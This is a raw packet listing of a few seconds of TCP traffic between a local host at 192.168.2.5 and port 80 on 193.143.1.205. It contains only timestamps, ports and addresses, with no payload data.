Jan 11, 2025 04:19:26.817243099 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.817255974 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.817281961 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.817339897 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.817431927 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.819936037 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.819948912 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.835153103 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.835167885 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.835186958 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.835252047 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.835254908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.835268021 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.835278988 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.835292101 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.835294008 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.835326910 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.835438013 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.835449934 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.835462093 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.835481882 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.835500956 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.867758036 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.867772102 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.867784023 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.867800951 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.867813110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.867825031 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.867867947 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.867935896 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.867949963 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.867980957 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.868046045 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.868057013 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.868068933 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.868077993 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.868086100 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.868103981 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.897696972 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.897723913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.897733927 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.897753954 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.897767067 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.897795916 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.897816896 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.897968054 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.897979975 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.897990942 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.898024082 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.898049116 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.898065090 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.898077965 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.898089886 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.898089886 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.898114920 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.898210049 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.898222923 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.898233891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.898246050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.898252964 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.898256063 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.898272038 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.898298979 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.928680897 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.928694010 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.928780079 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.929039001 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.929084063 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.929121971 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.929207087 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.929271936 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.929284096 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.929311991 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.929418087 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.929430008 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.929440022 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.929445982 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.929470062 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.929498911 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.929569006 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.929617882 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.929650068 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.929661989 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.929672003 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.929683924 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.929721117 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.929737091 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.929871082 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.929882050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.929929972 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.930033922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.930046082 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.930056095 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.930068016 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.930078983 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.930089951 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.930095911 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.930100918 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.930115938 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.930124998 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.930162907 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.930457115 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.930469036 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.930479050 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.930504084 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.930684090 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.930721998 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.930742025 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.930754900 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.930792093 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.930814028 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.930871010 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.930910110 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.930941105 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.930952072 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.930963039 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.930972099 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.930985928 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.931005955 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.931133032 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931147099 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931193113 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.931205988 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931216002 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931227922 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931240082 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931253910 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.931277037 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.931452036 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931462049 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931473017 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931485891 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931498051 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931502104 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.931509972 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931526899 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931535006 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.931612968 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.931790113 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931801081 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931812048 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931826115 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931828976 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.931857109 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.931878090 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931890011 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931900978 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931915045 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931917906 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.931926012 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931936026 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.931940079 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.931967020 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.932348967 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.932362080 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.932396889 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.932502985 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.932519913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.932534933 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.932537079 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.932545900 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.932555914 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.932555914 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.932566881 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.932566881 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.932580948 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.932590961 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.932591915 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.932605028 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.932616949 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.932617903 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.932627916 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.932640076 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.932646036 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.932657003 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.932662010 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.932670116 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.932684898 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.932704926 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.932725906 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.933336973 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.933346987 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.933357000 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.933368921 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.933378935 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.933382034 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.933389902 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.933399916 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.933402061 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.933408976 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.933414936 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.933422089 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.933430910 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.933442116 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.933449984 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.933454990 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.933479071 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.933938026 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.933950901 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.933980942 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.935930967 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.939204931 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.953905106 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.953934908 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.953947067 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.953968048 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.953994036 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.954090118 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.954101086 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.954137087 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.954144955 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.954157114 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.954205990 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.955689907 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.983850002 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.983863115 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.983875036 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.984028101 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.984036922 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.984041929 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.984069109 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.984072924 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.984082937 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.984110117 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.984261036 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.984272957 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.984291077 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.984302998 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.984307051 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.984313965 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.984338045 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.984354973 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.984508991 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.984522104 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.984544992 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.984556913 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.984556913 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.984592915 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.984781981 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.984793901 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.984803915 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.984817028 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.984822035 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:26.984827995 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:26.984850883 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.021723986 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.021750927 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.021761894 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.021790981 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.021800041 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.021819115 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.021835089 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.021846056 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.021970987 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022022963 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022022963 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.022036076 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022063971 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.022094011 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.022171021 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022191048 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022206068 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022241116 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.022306919 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022319078 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022330046 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022355080 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.022357941 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022383928 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.022574902 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022584915 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022594929 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022614956 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.022615910 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022639990 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.022643089 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022655964 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022699118 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.022819996 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022831917 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022841930 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022861004 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.022866011 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022891998 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.022896051 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.022937059 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.023139000 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023150921 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023161888 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023194075 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.023324966 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023335934 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023356915 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023367882 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023379087 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023380995 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.023391008 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023396969 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.023402929 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023413897 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023416042 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.023452044 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.023454905 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023500919 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.023838043 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023850918 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023881912 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023895025 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023901939 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.023912907 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023924112 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023936987 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023940086 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.023947001 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023958921 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023967981 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.023971081 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023976088 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.023983002 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.023993969 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.024007082 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.024017096 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.024034977 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.024046898 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.024061918 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.024061918 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.024082899 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.024082899 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.024775982 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.024787903 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.024800062 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.024811029 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.024823904 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.024835110 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.024835110 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.024847031 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.024858952 CET	80	49705	193.143.1.205	192.168.2.5
Jan 11, 2025 04:19:27.024863958 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.024879932 CET	49705	80	192.168.2.5	193.143.1.205
Jan 11, 2025 04:19:27.024880886 CET	80	49705	193.143.1.205	192.168.2.5
